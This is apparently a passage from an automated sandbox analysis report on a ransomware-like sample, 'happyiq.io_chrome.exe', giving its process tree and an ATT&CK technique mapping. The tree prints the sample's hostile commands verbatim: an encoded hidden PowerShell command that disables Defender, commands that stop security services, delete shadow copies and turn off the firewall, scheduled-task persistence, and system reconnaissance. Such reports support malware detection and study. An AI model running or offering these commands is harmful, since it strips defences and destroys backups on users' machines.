PID 5968 wrote to memory of 2780	5968	happyiq.io_chrome.exe	178
PID 5968 wrote to memory of 612	5968	happyiq.io_chrome.exe	133
PID 5968 wrote to memory of 316	5968	happyiq.io_chrome.exe	135
PID 5968 wrote to memory of 2860	5968	happyiq.io_chrome.exe	139
PID 5968 wrote to memory of 5204	5968	happyiq.io_chrome.exe	141
PID 5968 wrote to memory of 8	5968	happyiq.io_chrome.exe	143
PID 5968 wrote to memory of 5256	5968	happyiq.io_chrome.exe	144
PID 5968 wrote to memory of 1264	5968	happyiq.io_chrome.exe	145
PID 5968 wrote to memory of 1596	5968	happyiq.io_chrome.exe	146
PID 5968 wrote to memory of 3512	5968	happyiq.io_chrome.exe	147
PID 5968 wrote to memory of 5616	5968	happyiq.io_chrome.exe	148
PID 5968 wrote to memory of 4228	5968	happyiq.io_chrome.exe	149
PID 5968 wrote to memory of 5340	5968	happyiq.io_chrome.exe	156
PID 5968 wrote to memory of 4792	5968	happyiq.io_chrome.exe	158
PID 5968 wrote to memory of 4620	5968	happyiq.io_chrome.exe	159
PID 5968 wrote to memory of 3164	5968	happyiq.io_chrome.exe	160
PID 5968 wrote to memory of 916	5968	happyiq.io_chrome.exe	161
PID 5968 wrote to memory of 1556	5968	happyiq.io_chrome.exe	162
PID 5968 wrote to memory of 332	5968	happyiq.io_chrome.exe	163
PID 5616 wrote to memory of 1448	5616	cmd.exe	203
PID 1264 wrote to memory of 5056	1264	cmd.exe	171
PID 3164 wrote to memory of 2876	3164	net.exe	172
PID 1596 wrote to memory of 2992	1596	cmd.exe	173
PID 8 wrote to memory of 3548	8	cmd.exe	174
PID 3512 wrote to memory of 1172	3512	cmd.exe	175
PID 5256 wrote to memory of 6036	5256	cmd.exe	176
PID 2992 wrote to memory of 3316	2992	net.exe	202
PID 5204 wrote to memory of 2780	5204	cmd.exe	178
PID 5204 wrote to memory of 392	5204	cmd.exe	180
PID 4108 wrote to memory of 6100	4108	chrome.exe	182
PID 4108 wrote to memory of 4100	4108	chrome.exe	183
PID 4108 wrote to memory of 4100	4108	chrome.exe	183
PID 4108 wrote to memory of 4428	4108	chrome.exe	184
PID 4108 wrote to memory of 4428	4108	chrome.exe	184

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\happyiq.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\happyiq.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5968
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://happyiq.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4108
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff849aec728,0x7ff849aec734,0x7ff849aec740
    3⤵
    PID:4832
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2064,i,8350904394560728373,14838718591156781872,524288 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=2072 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4280
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,8756420048671023876,6242539641043603924,262144 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=1900 /prefetch:2
    3⤵
    PID:4844
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2316,i,9431702140565248255,5713611073677484958,524288 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=2340 /prefetch:13
    3⤵
    PID:4996
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3104,i,10527300026440075704,7886909177167541120,2097152 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=3140 /prefetch:1
    3⤵
    PID:4408
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3112,i,9287933521484301687,9936177494318872966,2097152 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=3240 /prefetch:1
    3⤵
    PID:1496
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4740,i,9514913750848988230,6192880776931976302,524288 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=4756 /prefetch:14
    3⤵
    PID:2024
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=5360,i,7391537302101586726,10423695440697924026,2097152 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:1
    3⤵
    PID:5408
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3292,i,12797260908849692610,5072614158012881821,524288 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=4412 /prefetch:14
    3⤵
    PID:6100
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4840,i,2595098070616129226,14506934924926712645,2097152 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=4824 /prefetch:1
    3⤵
    PID:4100
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=3404,i,11660532233167947861,14459125030380087264,2097152 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=4804 /prefetch:1
    3⤵
    PID:4428
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=4792,i,2313589936046263379,15016189293629248472,2097152 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=4852 /prefetch:1
    3⤵
    PID:4416
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5944,i,2326442214211821949,15009416117915762878,524288 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=3396 /prefetch:14
    3⤵
    PID:1348
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5320,i,10081792801623973204,1496613018907997078,2097152 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=3164 /prefetch:1
    3⤵
    PID:4508
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6108,i,11232563282749981485,10543862373780113271,2097152 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=5928 /prefetch:1
    3⤵
    PID:4032
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=256,i,4741405793004592149,6328879740262248697,2097152 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=5944 /prefetch:1
    3⤵
    PID:1008
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=4820,i,9303122224853939856,18201371236743514808,2097152 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=4420 /prefetch:1
    3⤵
    PID:2824
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5216,i,716864275058377930,2454199711351518507,2097152 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=4792 /prefetch:1
    3⤵
    PID:1528
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5928,i,8943215428576320148,7088462734258018642,524288 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=5860 /prefetch:14
    3⤵
    PID:3004
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6080,i,3575556421021530345,5321282262409631619,524288 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=6092 /prefetch:14
    3⤵
    PID:1168
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5288,i,4795196542320330953,9360128396289384365,524288 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=4420 /prefetch:14
    3⤵
    PID:980
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6128,i,8032345176022031791,10606885652220116969,524288 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:14
    3⤵
    PID:4508
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5712,i,17705839426653941404,13777445251641780740,524288 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=5600 /prefetch:14
    3⤵
    PID:6032
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=5688,i,7057448022790928310,8594468155888478671,2097152 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=3292 /prefetch:1
    3⤵
    PID:456
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=5208,i,3012709453989071714,5659886977100951108,2097152 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:9
    3⤵
    PID:5552
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6196,i,17809309869376779419,6617887332181406041,262144 --field-trial-handle=1904,i,6631235913873326605,17714337938312897715,262144 --variations-seed-version --mojo-platform-channel-handle=5728 /prefetch:10
    3⤵
    PID:1064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2564
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2072
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5196
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:4276
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4740
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2944
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2036
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:2748
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2108
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4592
- - C:\Users\Admin\AppData\Local\Temp\happyiq.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\happyiq.io_chrome.exe"
    3⤵
    PID:4352
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5504
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3520
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5368
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2376
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2780
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\happyiq.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:612
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\happyiq.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:316
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5204
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2780
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:392
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:8
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:3548
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5256
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:6036
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1264
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:5056
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1596
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2992
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:3316
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3512
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:1172
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5616
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2108
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:1448
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\happyiq.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4228
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5340
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4792
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4620
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3164
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:2876
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:916
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:1556
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:332

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2296

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1948

C:\Users\Admin\AppData\Local\Temp\happyiq.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\happyiq.io_chrome.exe
1⤵
PID:4652

C:\Users\Admin\AppData\Local\Temp\happyiq.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\happyiq.io_chrome.exe
1⤵
PID:3584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:1408

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:3316

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:1448

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery